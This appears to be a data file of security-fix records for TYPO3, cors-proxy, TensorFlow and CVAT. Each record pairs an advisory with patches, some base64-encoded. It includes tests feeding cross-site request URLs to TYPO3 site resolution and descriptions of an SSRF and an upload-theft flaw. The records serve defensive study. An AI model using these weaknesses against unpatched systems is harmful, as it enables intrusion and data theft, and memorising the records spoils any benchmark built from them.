@@ -74,9 +76,10 @@ public function fullUrlMatchesSpecificLanguageWithSubdomainsAndDomainSuffixes():
                 ],
             ],
         ]);
+        $featuresMock = $this->createFeaturesMock();
         $finderMock = $this->createSiteFinder($site, $secondSite);
         $requestContextFactory = new RequestContextFactory(new BackendEntryPointResolver());
-        $subject = new SiteMatcher($finderMock, $requestContextFactory);
+        $subject = new SiteMatcher($featuresMock, $finderMock, $requestContextFactory);
 
         $request = new ServerRequest('http://9-5.typo3.test/da/my-page/');
         /** @var SiteRouteResult $result */
@@ -171,9 +174,10 @@ public function fullUrlMatchesSpecificLanguageWithSubdomainsAndPathSuffixes(): v
                 ],
             ],
         ]);
+        $featuresMock = $this->createFeaturesMock();
         $finderMock = $this->createSiteFinder($site, $secondSite);
         $requestContextFactory = new RequestContextFactory(new BackendEntryPointResolver());
-        $subject = new SiteMatcher($finderMock, $requestContextFactory);
+        $subject = new SiteMatcher($featuresMock, $finderMock, $requestContextFactory);
 
         $request = new ServerRequest('https://www.example.com/de');
         /** @var SiteRouteResult $result */
@@ -253,9 +257,10 @@ public function bestMatchingUrlIsUsed(string $requestUri, string $expectedSite,
             ],
         ]);
 
+        $featuresMock = $this->createFeaturesMock();
         $finderMock = $this->createSiteFinder($mainSite, $dkSite, $frSite);
         $requestContextFactory = new RequestContextFactory(new BackendEntryPointResolver());
-        $subject = new SiteMatcher($finderMock, $requestContextFactory);
+        $subject = new SiteMatcher($featuresMock, $finderMock, $requestContextFactory);
 
         $request = new ServerRequest($requestUri);
         /** @var SiteRouteResult $result */
@@ -265,6 +270,18 @@ public function bestMatchingUrlIsUsed(string $requestUri, string $expectedSite,
         self::assertSame($expectedLocale, (string)$result->getLanguage()->getLocale());
     }
 
+    private function createFeaturesMock(): MockObject&Features
+    {
+        $mock = $this->getMockBuilder(Features::class)
+            ->onlyMethods(['isFeatureEnabled'])
+            ->getMock();
+        $mock->expects(self::any())
+            ->method('isFeatureEnabled')
+            ->with('security.frontend.allowInsecureSiteResolutionByQueryParameters')
+            ->willReturn(false);
+        return $mock;
+    }
+
     private function createSiteFinder(Site ...$sites): SiteFinder
     {
         $siteConfiguration = new class ($sites) extends SiteConfiguration {
diff --git a/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersDisabledTest.php b/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersDisabledTest.php
new file mode 100644
index 000000000000..19acf4c21991
--- /dev/null
+++ b/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersDisabledTest.php
@@ -0,0 +1,116 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of the TYPO3 CMS project.
+ *
+ * It is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License, either version 2
+ * of the License, or any later version.
+ *
+ * For the full copyright and license information, please read the
+ * LICENSE.txt file that was distributed with this source code.
+ *
+ * The TYPO3 project - inspiring people to share!
+ */
+
+namespace TYPO3\CMS\Frontend\Tests\Functional\SiteHandling;
+
+use TYPO3\CMS\Core\Core\Bootstrap;
+use TYPO3\TestingFramework\Core\Functional\Framework\DataHandling\Scenario\DataHandlerFactory;
+use TYPO3\TestingFramework\Core\Functional\Framework\DataHandling\Scenario\DataHandlerWriter;
+use TYPO3\TestingFramework\Core\Functional\Framework\Frontend\InternalRequest;
+
+final class SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersDisabledTest extends AbstractTestCase
+{
+    protected array $configurationToUseInTestInstance = [
+        'SYS' => [
+            'devIPmask' => '123.123.123.123',
+            'encryptionKey' => '4408d27a916d51e624b69af3554f516dbab61037a9f7b9fd6f81b4d3bedeccb6',
+            'features' => [
+                'security.frontend.allowInsecureSiteResolutionByQueryParameters' => false,
+            ],
+        ],
+        'FE' => [
+            'cacheHash' => [
+                'requireCacheHashPresenceParameters' => ['value', 'testing[value]', 'tx_testing_link[value]'],
+                'excludedParameters' => ['L', 'tx_testing_link[excludedValue]'],
+                'enforceValidation' => true,
+            ],
+            'debug' => false,
+        ],
+    ];
+
+    protected function setUp(): void
+    {
+        parent::setUp();
+        $this->withDatabaseSnapshot(function () {
+            $this->importCSVDataSet(__DIR__ . '/../Fixtures/be_users.csv');
+            $backendUser = $this->setUpBackendUser(1);
+            Bootstrap::initializeLanguageObject();
+            $scenarioFile = __DIR__ . '/Fixtures/SlugScenario.yaml';
+            $factory = DataHandlerFactory::fromYamlFile($scenarioFile);
+            $writer = DataHandlerWriter::withBackendUser($backendUser);
+            $writer->invokeFactory($factory);
+            static::failIfArrayIsNotEmpty($writer->getErrors());
+            $this->setUpFrontendRootPage(
+                1000,
+                [
+                    'typo3/sysext/core/Tests/Functional/Fixtures/Frontend/JsonRenderer.typoscript',
+                    'typo3/sysext/frontend/Tests/Functional/SiteHandling/Fixtures/JsonRenderer.typoscript',
+                ],
+                [
+                    'title' => 'ACME Root',
+                ]
+            );
+            $this->setUpFrontendRootPage(
+                3000,
+                [
+                    'typo3/sysext/core/Tests/Functional/Fixtures/Frontend/JsonRenderer.typoscript',
+                    'typo3/sysext/frontend/Tests/Functional/SiteHandling/Fixtures/JsonRenderer.typoscript',
+                ],
+                [
+                    'title' => 'ACME Archive',
+                ]
+            );
+        });
+    }
+
+    public static function siteWithPageIdRequestsAreCorrectlyHandledDataProvider(): \Generator
+    {
+        yield 'valid same-site request is redirected' => ['https://website.local/?id=1000&L=0', 307];
+        yield 'valid same-site request is processed' => ['https://website.local/?id=1100&L=0', 200];
+        yield 'invalid off-site request with unknown domain is denied' => ['https://otherdomain.website.local/?id=3000&L=0', 404];
+        yield 'invalid off-site request with unknown domain and without L parameter is denied' => ['https://otherdomain.website.local/?id=3000', 404];
+        yield 'invalid cross-site request without L parameter is denied' => ['https://website.local/?id=3000', 404];
+        yield 'invalid cross-site request *not* denied' => ['https://website.local/?id=3000&L=0', 404];
+    }
+
+    /**
+     * @test
+     * @dataProvider siteWithPageIdRequestsAreCorrectlyHandledDataProvider
+     */
+    public function siteWithPageIdRequestsAreCorrectlyHandled(string $uri, int $expectation): void
+    {
+        $this->writeSiteConfiguration(
+            'website-local',
+            $this->buildSiteConfiguration(1000, 'https://website.local/'),
+            [
+                $this->buildDefaultLanguageConfiguration('EN', '/'),
+            ],
+            $this->buildErrorHandlingConfiguration('Fluid', [404])
+        );
+        $this->writeSiteConfiguration(
+            'archive-acme-com',
+            $this->buildSiteConfiguration(3000, 'https://archive.acme.com/'),
+            [
+                $this->buildDefaultLanguageConfiguration('EN', '/'),
+            ],
+            $this->buildErrorHandlingConfiguration('Fluid', [404])
+        );
+
+        $response = $this->executeFrontendSubRequest(new InternalRequest($uri));
+        self::assertSame($expectation, $response->getStatusCode());
+    }
+}
diff --git a/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersEnabledTest.php b/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersEnabledTest.php
new file mode 100644
index 000000000000..baa159fb892f
--- /dev/null
+++ b/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersEnabledTest.php
@@ -0,0 +1,118 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of the TYPO3 CMS project.
+ *
+ * It is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License, either version 2
+ * of the License, or any later version.
+ *
+ * For the full copyright and license information, please read the
+ * LICENSE.txt file that was distributed with this source code.
+ *
+ * The TYPO3 project - inspiring people to share!
+ */
+
+namespace TYPO3\CMS\Frontend\Tests\Functional\SiteHandling;
+
+use TYPO3\CMS\Core\Core\Bootstrap;
+use TYPO3\TestingFramework\Core\Functional\Framework\DataHandling\Scenario\DataHandlerFactory;
+use TYPO3\TestingFramework\Core\Functional\Framework\DataHandling\Scenario\DataHandlerWriter;
+use TYPO3\TestingFramework\Core\Functional\Framework\Frontend\InternalRequest;
+
+final class SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersEnabledTest extends AbstractTestCase
+{
+    protected array $configurationToUseInTestInstance = [
+        'SYS' => [
+            'devIPmask' => '123.123.123.123',
+            'encryptionKey' => '4408d27a916d51e624b69af3554f516dbab61037a9f7b9fd6f81b4d3bedeccb6',
+            'features' => [
+                'security.frontend.allowInsecureSiteResolutionByQueryParameters' => true,
+            ],
+        ],
+        'FE' => [
+            'cacheHash' => [
+                'requireCacheHashPresenceParameters' => ['value', 'testing[value]', 'tx_testing_link[value]'],
+                'excludedParameters' => ['L', 'tx_testing_link[excludedValue]'],
+                'enforceValidation' => true,
+            ],
+            'debug' => false,
+        ],
+    ];
+
+    protected function setUp(): void
+    {
+        parent::setUp();
+        $this->withDatabaseSnapshot(function () {
+            $this->importCSVDataSet(__DIR__ . '/../Fixtures/be_users.csv');
+            $backendUser = $this->setUpBackendUser(1);
+            Bootstrap::initializeLanguageObject();
+            $scenarioFile = __DIR__ . '/Fixtures/SlugScenario.yaml';
+            $factory = DataHandlerFactory::fromYamlFile($scenarioFile);
+            $writer = DataHandlerWriter::withBackendUser($backendUser);
+            $writer->invokeFactory($factory);
+            static::failIfArrayIsNotEmpty($writer->getErrors());
+            $this->setUpFrontendRootPage(
+                1000,
+                [
+                    'typo3/sysext/core/Tests/Functional/Fixtures/Frontend/JsonRenderer.typoscript',
+                    'typo3/sysext/frontend/Tests/Functional/SiteHandling/Fixtures/JsonRenderer.typoscript',
+                ],
+                [
+                    'title' => 'ACME Root',
+                ]
+            );
+            $this->setUpFrontendRootPage(
+                3000,
+                [
+                    'typo3/sysext/core/Tests/Functional/Fixtures/Frontend/JsonRenderer.typoscript',
+                    'typo3/sysext/frontend/Tests/Functional/SiteHandling/Fixtures/JsonRenderer.typoscript',
+                ],
+                [
+                    'title' => 'ACME Archive',
+                ]
+            );
+        });
+    }
+
+    public static function siteWithPageIdRequestsAreCorrectlyHandledDataProvider(): \Generator
+    {
+        yield 'valid same-site request is redirected' => ['https://website.local/?id=1000&L=0', 307];
+        yield 'valid same-site request is processed' => ['https://website.local/?id=1100&L=0', 200];
+        // This case is allowed due to security.frontend.allowInsecureSiteResolutionByQueryParameters, should otherwise be 404
+        yield 'invalid off-site request with unknown domain is denied' => ['https://otherdomain.website.local/?id=3000&L=0', 200];
+        yield 'invalid off-site request with unknown domain and without L parameter is denied' => ['https://otherdomain.website.local/?id=3000', 404];
+        yield 'invalid cross-site request without L parameter is denied' => ['https://website.local/?id=3000', 404];
+        // This case is allowed due to security.frontend.allowInsecureSiteResolutionByQueryParameters, should otherwise be 404
+        yield 'invalid cross-site request *not* denied' => ['https://website.local/?id=3000&L=0', 200];
+    }
+
+    /**
+     * @test
+     * @dataProvider siteWithPageIdRequestsAreCorrectlyHandledDataProvider
+     */
+    public function siteWithPageIdRequestsAreCorrectlyHandled(string $uri, int $expectation): void
+    {
+        $this->writeSiteConfiguration(
+            'website-local',
+            $this->buildSiteConfiguration(1000, 'https://website.local/'),
+            [
+                $this->buildDefaultLanguageConfiguration('EN', '/'),
+            ],
+            $this->buildErrorHandlingConfiguration('Fluid', [404])
+        );
+        $this->writeSiteConfiguration(
+            'archive-acme-com',
+            $this->buildSiteConfiguration(3000, 'https://archive.acme.com/'),
+            [
+                $this->buildDefaultLanguageConfiguration('EN', '/'),
+            ],
+            $this->buildErrorHandlingConfiguration('Fluid', [404])
+        );
+
+        $response = $this->executeFrontendSubRequest(new InternalRequest($uri));
+        self::assertSame($expectation, $response->getStatusCode());
+    }
+}
diff --git a/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestTest.php b/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestTest.php
index 5bb44f007416..38a1cb4d2af8 100644
--- a/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestTest.php
+++ b/typo3/sysext/frontend/Tests/Functional/SiteHandling/SlugSiteRequestTest.php
@@ -273,9 +273,15 @@ public static function siteWithPageIdRequestsAreCorrectlyHandledDataProvider():
     {
         yield 'valid same-site request is redirected' => ['https://website.local/?id=1000&L=0', 307];
         yield 'valid same-site request is processed' => ['https://website.local/?id=1100&L=0', 200];
+        yield 'invalid off-site request with unknown domain is denied' => ['https://otherdomain.website.local/?id=3000&L=0', 404];
+        yield 'invalid off-site request with unknown domain and without L parameter is denied' => ['https://otherdomain.website.local/?id=3000', 404];
     }
 
     /**
+     * For variants, please see `SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersEnabledTest`
+     * and `SlugSiteRequestAllowInsecureSiteResolutionByQueryParametersDisabledTest` which had to be placed
+     * in separate test class files, due to hard limitations of the TYPO3 Testing Framework.
+     *
      * @test
      * @dataProvider siteWithPageIdRequestsAreCorrectlyHandledDataProvider
      */
diff --git a/typo3/sysext/frontend/Tests/Unit/Middleware/SiteResolverTest.php b/typo3/sysext/frontend/Tests/Unit/Middleware/SiteResolverTest.php
index bbf729e60657..7ce2891fb8b9 100644
--- a/typo3/sysext/frontend/Tests/Unit/Middleware/SiteResolverTest.php
+++ b/typo3/sysext/frontend/Tests/Unit/Middleware/SiteResolverTest.php
@@ -17,10 +17,12 @@
 
 namespace TYPO3\CMS\Frontend\Tests\Unit\Middleware;
 
+use PHPUnit\Framework\MockObject\MockObject;
 use Psr\Http\Message\ResponseInterface;
 use Psr\Http\Message\ServerRequestInterface;
 use Psr\Http\Server\RequestHandlerInterface;
 use TYPO3\CMS\Core\Cache\CacheManager;
+use TYPO3\CMS\Core\Configuration\Features;
 use TYPO3\CMS\Core\Configuration\SiteConfiguration;
 use TYPO3\CMS\Core\Http\JsonResponse;
 use TYPO3\CMS\Core\Http\NullResponse;
@@ -107,8 +109,9 @@ public function detectASingleSiteWhenProperRequestIsGiven(): void
                 ],
             ],
         ]));
+        $featuresMock = $this->createFeaturesMock();
         $requestContextFactory = new RequestContextFactory(new BackendEntryPointResolver());
-        $subject = new SiteResolver(new SiteMatcher($siteFinder, $requestContextFactory));
+        $subject = new SiteResolver(new SiteMatcher($featuresMock, $siteFinder, $requestContextFactory));
 
         $request = new ServerRequest($incomingUrl, 'GET');
         $response = $subject->process($request, $this->siteFoundRequestHandler);
@@ -161,8 +164,9 @@ public function detectSubsiteInsideNestedUrlStructure(): void
             ]),
         );
 
+        $featuresMock = $this->createFeaturesMock();
         $requestContextFactory = new RequestContextFactory(new BackendEntryPointResolver());
-        $subject = new SiteResolver(new SiteMatcher($siteFinder, $requestContextFactory));
+        $subject = new SiteResolver(new SiteMatcher($featuresMock, $siteFinder, $requestContextFactory));
 
         $request = new ServerRequest($incomingUrl, 'GET');
         $response = $subject->process($request, $this->siteFoundRequestHandler);
@@ -252,8 +256,9 @@ public function detectSubSubsiteInsideNestedUrlStructure($incomingUrl, $expected
             ]),
         );
 
+        $featuresMock = $this->createFeaturesMock();
         $requestContextFactory = new RequestContextFactory(new BackendEntryPointResolver());
-        $subject = new SiteResolver(new SiteMatcher($siteFinder, $requestContextFactory));
+        $subject = new SiteResolver(new SiteMatcher($featuresMock, $siteFinder, $requestContextFactory));
 
         $request = new ServerRequest($incomingUrl, 'GET');
         $response = $subject->process($request, $this->siteFoundRequestHandler);
@@ -363,8 +368,9 @@ public function detectProperLanguageByIncomingUrl($incomingUrl, $expectedSiteIde
             ]),
         );
 
+        $featuresMock = $this->createFeaturesMock();
         $requestContextFactory = new RequestContextFactory(new BackendEntryPointResolver());
-        $subject = new SiteResolver(new SiteMatcher($siteFinder, $requestContextFactory));
+        $subject = new SiteResolver(new SiteMatcher($featuresMock, $siteFinder, $requestContextFactory));
 
         $request = new ServerRequest($incomingUrl, 'GET');
         $response = $subject->process($request, $this->siteFoundRequestHandler);
@@ -381,6 +387,18 @@ public function detectProperLanguageByIncomingUrl($incomingUrl, $expectedSiteIde
         }
     }
 
+    private function createFeaturesMock(): MockObject&Features
+    {
+        $mock = $this->getMockBuilder(Features::class)
+            ->onlyMethods(['isFeatureEnabled'])
+            ->getMock();
+        $mock->expects(self::any())
+            ->method('isFeatureEnabled')
+            ->with('security.frontend.allowInsecureSiteResolutionByQueryParameters')
+            ->willReturn(false);
+        return $mock;
+    }
+
     private function createSiteFinder(Site ...$sites): SiteFinder
     {
         $siteConfiguration = new class ($sites) extends SiteConfiguration {", "url": "https://github.com/TYPO3/typo3/commit/702e2debd4b28f9cdb540544565fe6a8627ccb6a.patch" } ]
null
GHSA-v82v-rq72-phq9
Server side request forgery in @isomorphic-git/cors-proxy
null
[ { "commit_message": "[PATCH] fix(security): don't follow redirects (#10) azure-pipelines.yml | 2 +- bin.js | 0 middleware.js | 7 +++++++ 3 files changed, 8 insertions(+), 1 deletion(-) mode change 100644 => 100755 bin.js", "patch_text_b64": "RnJvbSAxYjFjOTFlNzFkOTQ2NTQ0ZDk3Y2NjN2NmMGFjNjJiODU5ZTAzMzExIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBXaWxsaWFtIEhpbHRvbiA8d21oaWx0b25AZ21haWwuY29tPgpEYXRlOiBUaHUsIDYgSmFuIDIwMjIgMjE6MzA6MzkgLTA1MDAKU3ViamVjdDogW1BBVENIXSBmaXgoc2VjdXJpdHkpOiBkb24ndCBmb2xsb3cgcmVkaXJlY3RzICgjMTApCgotLS0KIGF6dXJlLXBpcGVsaW5lcy55bWwgfCAyICstCiBiaW4uanMgICAgICAgICAgICAgIHwgMAogbWlkZGxld2FyZS5qcyAgICAgICB8IDcgKysrKysrKwogMyBmaWxlcyBjaGFuZ2VkLCA4IGluc2VydGlvbnMoKyksIDEgZGVsZXRpb24oLSkKIG1vZGUgY2hhbmdlIDEwMDY0NCA9PiAxMDA3NTUgYmluLmpzCgpkaWZmIC0tZ2l0IGEvYXp1cmUtcGlwZWxpbmVzLnltbCBiL2F6dXJlLXBpcGVsaW5lcy55bWwKaW5kZXggMWQ4NjRmYS4uNTU2ZWEyZCAxMDA2NDQKLS0tIGEvYXp1cmUtcGlwZWxpbmVzLnltbAorKysgYi9henVyZS1waXBlbGluZXMueW1sCkBAIC0yLDcgKzIsNyBAQCBqb2JzOgogLSBqb2I6IExpbnV4CiAKICAgcG9vbDoKLSAgICB2bUltYWdlOiAnVWJ1bnR1IDE2LjA0JworICAgIHZtSW1hZ2U6ICd1YnVudHUtbGF0ZXN0JwogCiAgIHN0ZXBzOgogICAtIHRhc2s6IE5vZGVUb29sQDAKZGlmZiAtLWdpdCBhL2Jpbi5qcyBiL2Jpbi5qcwpvbGQgbW9kZSAxMDA2NDQKbmV3IG1vZGUgMTAwNzU1CmRpZmYgLS1naXQgYS9taWRkbGV3YXJlLmpzIGIvbWlkZGxld2FyZS5qcwppbmRleCBkN2Y3YjE2Li41ODJhMzdiIDEwMDY0NAotLS0gYS9taWRkbGV3YXJlLmpzCisrKyBiL21pZGRsZXdhcmUuanMKQEAgLTM1LDYgKzM1LDcgQEAgY29uc3QgZXhwb3NlSGVhZGVycyA9IFsKICAgJ2V0YWcnLAogICAnZXhwaXJlcycsCiAgICdsYXN0LW1vZGlmaWVkJywKKyAgJ2xvY2F0aW9uJywKICAgJ3ByYWdtYScsCiAgICdzZXJ2ZXInLAogICAndHJhbnNmZXItZW5jb2RpbmcnLApAQCAtMTI1LDEwICsxMjYsMTYgQEAgbW9kdWxlLmV4cG9ydHMgPSAoeyBvcmlnaW4sIGluc2VjdXJlX29yaWdpbnMgPSBbXSwgYXV0aG9yaXphdGlvbiA9IG5vb3AgfSA9IHt9KQogICAgICAgYCR7cHJvdG9jb2x9Oi8vJHtwYXRoZG9tYWlufS8ke3JlbWFpbmluZ3BhdGh9YCwKICAgICAgIHsKICAgICAgICAgbWV0aG9kOiByZXEubWV0aG9kLAorICAgICAgICByZWRpcmVjdDogJ21hbnVhbCcsCiAgICAgICAgIGhlYWRlcnMsCiAgICAgICAgIGJvZHk6IChyZXEubWV0aG9kICE9PSAnR0VUJyAmJiByZXEubWV0aG9kICE9PSAnSEVBRCcpID8gcmVxIDogdW5kZWZpbmVkCiAgICAgICB9CiAgICAgKS50aGVuKGYgPT4geworICAgICAgaWYgKGYuaGVhZGVycy5oYXMoJ2xvY2F0aW9uJykpIHsKKyAgICAgICAgLy8gTW9kaWZ5IHRoZSBsb2NhdGlvbiBzbyB0aGUgY2xpZW50IGNvbnRpbnVlcyB0byB1c2UgdGhlIHByb3h5CisgICAgICAgIGxldCBuZXdVcmwgPSBmLmhlYWRlcnMuZ2V0KCdsb2NhdGlvbicpLnJlcGxhY2UoL15odHRwcz86XC8vLCAnJykKKyAgICAgICAgZi5oZWFkZXJzLnNldCgnbG9jYXRpb24nLCBuZXdVcmwpCisgICAgICB9CiAgICAgICByZXMuc3RhdHVzQ29kZSA9IGYuc3RhdHVzCiAgICAgICBmb3IgKGxldCBoIG9mIGV4cG9zZUhlYWRlcnMpIHsKICAgICAgICAgaWYgKGggPT09ICdjb250ZW50LWxlbmd0aCcpIGNvbnRpbnVl", "url": "https://github.com/isomorphic-git/cors-proxy/commit/1b1c91e71d946544d97ccc7cf0ac62b859e03311.patch" } ]
null
PYSEC-2021-192
null
[ { "commit_message": "[PATCH] Fix FPE issue with `tf.raw_ops.FusedBatchNorm`. PiperOrigin-RevId: 370948185 Change-Id: If0c8e0320062ed6363e94ff5fe38e6a301f69ac2 tensorflow/core/kernels/fused_batch_norm_op.cc | 3 +++ 1 file changed, 3 insertions(+)", "patch_text_b64": "RnJvbSAxYTJhODcyMjlkMWQ2MWUyM2EzOTM3Mzc3N2MwNTYxNjFlYjQwODRkIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBBbWl0IFBhdGFua2FyIDxhbWl0cGF0YW5rYXJAZ29vZ2xlLmNvbT4KRGF0ZTogV2VkLCAyOCBBcHIgMjAyMSAxMTozMDoyOCAtMDcwMApTdWJqZWN0OiBbUEFUQ0hdIEZpeCBGUEUgaXNzdWUgd2l0aCBgdGYucmF3X29wcy5GdXNlZEJhdGNoTm9ybWAuCgpQaXBlck9yaWdpbi1SZXZJZDogMzcwOTQ4MTg1CkNoYW5nZS1JZDogSWYwYzhlMDMyMDA2MmVkNjM2M2U5NGZmNWZlMzhlNmEzMDFmNjlhYzIKLS0tCiB0ZW5zb3JmbG93L2NvcmUva2VybmVscy9mdXNlZF9iYXRjaF9ub3JtX29wLmNjIHwgMyArKysKIDEgZmlsZSBjaGFuZ2VkLCAzIGluc2VydGlvbnMoKykKCmRpZmYgLS1naXQgYS90ZW5zb3JmbG93L2NvcmUva2VybmVscy9mdXNlZF9iYXRjaF9ub3JtX29wLmNjIGIvdGVuc29yZmxvdy9jb3JlL2tlcm5lbHMvZnVzZWRfYmF0Y2hfbm9ybV9vcC5jYwppbmRleCA5YjkxNzM0OGUyYWZhNS4uZTU2NGIxOTg1N2MzODMgMTAwNjQ0Ci0tLSBhL3RlbnNvcmZsb3cvY29yZS9rZXJuZWxzL2Z1c2VkX2JhdGNoX25vcm1fb3AuY2MKKysrIGIvdGVuc29yZmxvdy9jb3JlL2tlcm5lbHMvZnVzZWRfYmF0Y2hfbm9ybV9vcC5jYwpAQCAtMjkzLDYgKzI5Myw5IEBAIHN0cnVjdCBGdXNlZEJhdGNoTm9ybTxDUFVEZXZpY2UsIFQsIFUsIC8qIGlzX3RyYWluaW5nPSAqLyBmYWxzZT4gewogICAgIGNvbnN0IENQVURldmljZSYgZCA9IGNvbnRleHQtPmVpZ2VuX2RldmljZTxDUFVEZXZpY2U+KCk7CiAKICAgICBjb25zdCBpbnQgZGVwdGggPSB4LmRpbWVuc2lvbigzKTsKKyAgICBPUF9SRVFVSVJFUygKKyAgICAgICAgY29udGV4dCwgZGVwdGggIT0gMCwKKyAgICAgICAgZXJyb3JzOjpJbnRlcm5hbCgiVGhlIDR0aCBlbGVtZW50IGluIHRoZSBpbnB1dCBzaGFwZSBjYW5ub3QgYmUgMC4iKSk7CiAgICAgY29uc3QgaW50IHNpemUgPSB4LnNpemUoKTsKICAgICBjb25zdCBpbnQgcmVzdF9zaXplID0gc2l6ZSAvIGRlcHRoOwogICAgIEVpZ2VuOjpEU2l6ZXM8RWlnZW46OkluZGV4LCAyPiByZXN0X2J5X2RlcHRoKHJlc3Rfc2l6ZSwgZGVwdGgpOw==", "url": "https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d.patch" } ]
null
CVE-2025-49135
CVAT missing validation for in-progress backup upload names
CVAT is an open source interactive video and image annotation tool for computer vision. Versions 2.2.0 through 2.39.0 have no validation during the import process of a project or task backup to check that the filename specified in the query parameter refers to a TUS-uploaded file belonging to the same user. As a result, if an attacker with a CVAT account and a `user` role knows the filenames of other users' uploads, they could potentially access and steal data by creating projects or tasks using those files. This issue does not affect annotation or dataset TUS uploads, since in this case object-specific temporary directories are used. Users should upgrade to CVAT 2.40.0 or a later version to receive a patch. No known workarounds are available.
[ { "commit_message": "[PATCH] Merge commit from fork There was no validation during the import process of a project or task backup to check that the filename specified in the query parameter refers to a TUS-uploaded file belonging to the same user. As a result, if an attacker with a CVAT account and a user role knew the filenames of other users' uploads, they could potentially access and steal data by creating projects or tasks using those files. .../20250609_113046_maria_validate_uploads.md | 5 + cvat/apps/engine/background.py | 13 + .../rest_api/test_resource_import_export.py | 330 +++++++++++++++++- 3 files changed, 343 insertions(+), 5 deletions(-) create mode 100644 changelog.d/20250609_113046_maria_validate_uploads.md", "patch_text_b64": "From dbafd9c0287489bea00e1db626f64b107f90bfc9 Mon Sep 17 00:00:00 2001
From: Maria Khrustaleva <maria@cvat.ai>
Date: Wed, 25 Jun 2025 12:10:30 +0200
Subject: [PATCH] Merge commit from fork

There was no validation during the import process of a project or task backup to check that the filename specified in the query parameter refers to a TUS-uploaded file belonging to the same user. As a result, if an attacker with a CVAT account and a user role knew the filenames of other users' uploads, they could potentially access and steal data by creating projects or tasks using those files.
---
 .../20250609_113046_maria_validate_uploads.md |   5 +
 cvat/apps/engine/background.py                |  13 +
 .../rest_api/test_resource_import_export.py   | 330 +++++++++++++++++-
 3 files changed, 343 insertions(+), 5 deletions(-)
 create mode 100644 changelog.d/20250609_113046_maria_validate_uploads.md

diff --git a/changelog.d/20250609_113046_maria_validate_uploads.md b/changelog.d/20250609_113046_maria_validate_uploads.md
new file mode 100644
index 000000000000..ded3e51ed077
--- /dev/null
+++ b/changelog.d/20250609_113046_maria_validate_uploads.md
@@ -0,0 +1,5 @@
+### Security
+
+- Added missing file name validation when initiating an import process
+  from a file uploaded via the TUS protocol
+  (<https://github.com/cvat-ai/cvat/security/advisories/GHSA-frpr-5w6q-hh4f>)
diff --git a/cvat/apps/engine/background.py b/cvat/apps/engine/background.py
index 8a34e6606085..50e60fbdbdd6 100644
--- a/cvat/apps/engine/background.py
+++ b/cvat/apps/engine/background.py
@@ -49,6 +49,7 @@
     TaskFileSerializer,
 )
 from cvat.apps.engine.task import create_thread as create_task
+from cvat.apps.engine.tus import TusFile, TusFileForbiddenError, TusFileNotFoundError
 from cvat.apps.engine.types import ExtendedRequest
 from cvat.apps.engine.utils import (
     build_annotations_file_name,
@@ -298,6 +299,18 @@ def validate_request(self):
         ):
             raise serializers.ValidationError("The filename was not specified")
 
+        # file was uploaded via TUS
+        if (
+            self.import_args.location_config.location == Location.LOCAL
+            and self.import_args.filename
+        ):
+            try:
+                TusFile(file_id=self.import_args.filename, upload_dir=self.tmp_dir).validate(
+                    user_id=self.user_id, with_meta=False
+                )
+            except (TusFileNotFoundError, TusFileForbiddenError, ValueError):
+                raise serializers.ValidationError("No such file were uploaded")
+
     def _handle_cloud_storage_file_upload(self):
         storage_id = self.import_args.location_config.cloud_storage_id
         db_storage = get_cloud_storage_for_import_or_export(
diff --git a/tests/python/rest_api/test_resource_import_export.py b/tests/python/rest_api/test_resource_import_export.py
index 13f0151563cc..e103ea5cf8ab 100644
--- a/tests/python/rest_api/test_resource_import_export.py
+++ b/tests/python/rest_api/test_resource_import_export.py
@@ -4,10 +4,19 @@
 # SPDX-License-Identifier: MIT
 
 from http import HTTPStatus
+from pathlib import Path
+from typing import Any, Callable, Optional, Tuple
+from uuid import uuid4
 
 import pytest
-
-from shared.utils.config import get_method, post_method
+from cvat_sdk import exceptions
+from cvat_sdk.core import Client as SdkClient
+from cvat_sdk.core.progress import NullProgressReporter
+from cvat_sdk.core.uploading import Uploader
+from pytest_cases import fixture, fixture_ref, parametrize
+
+from shared.fixtures.data import Container
+from shared.utils.config import get_method, make_sdk_client, post_method
 from shared.utils.resource_import_export import (
     _CloudStorageResourceTest,
     _make_export_resource_params,
@@ -17,9 +26,6 @@
 
 from .utils import create_task
 
-# https://docs.pytest.org/en/7.1.x/example/markers.html#marking-whole-classes-or-modules
-pytestmark = [pytest.mark.with_external_services]
-
 
 class _S3ResourceTest(_CloudStorageResourceTest):
     @staticmethod
@@ -27,6 +33,7 @@ def _make_client():
         return make_s3_client()
 
 
+@pytest.mark.with_external_services
 @pytest.mark.usefixtures("restore_db_per_class")
 class TestExportResourceToS3(_S3ResourceTest):
     @pytest.mark.usefixtures("restore_redis_inmem_per_function")
@@ -176,6 +183,7 @@ def test_user_cannot_export_to_cloud_storage_with_specific_location_without_acce
         )
 
 
+@pytest.mark.with_external_services
 @pytest.mark.usefixtures("restore_db_per_function")
 @pytest.mark.usefixtures("restore_cvat_data_per_function")
 class TestImportResourceFromS3(_S3ResourceTest):
@@ -350,3 +358,315 @@ def test_user_cannot_import_from_cloud_storage_with_specific_location_without_ac
             _expect_status=HTTPStatus.FORBIDDEN,
             **kwargs,
         )
+
+
+@pytest.mark.usefixtures("restore_db_per_function")
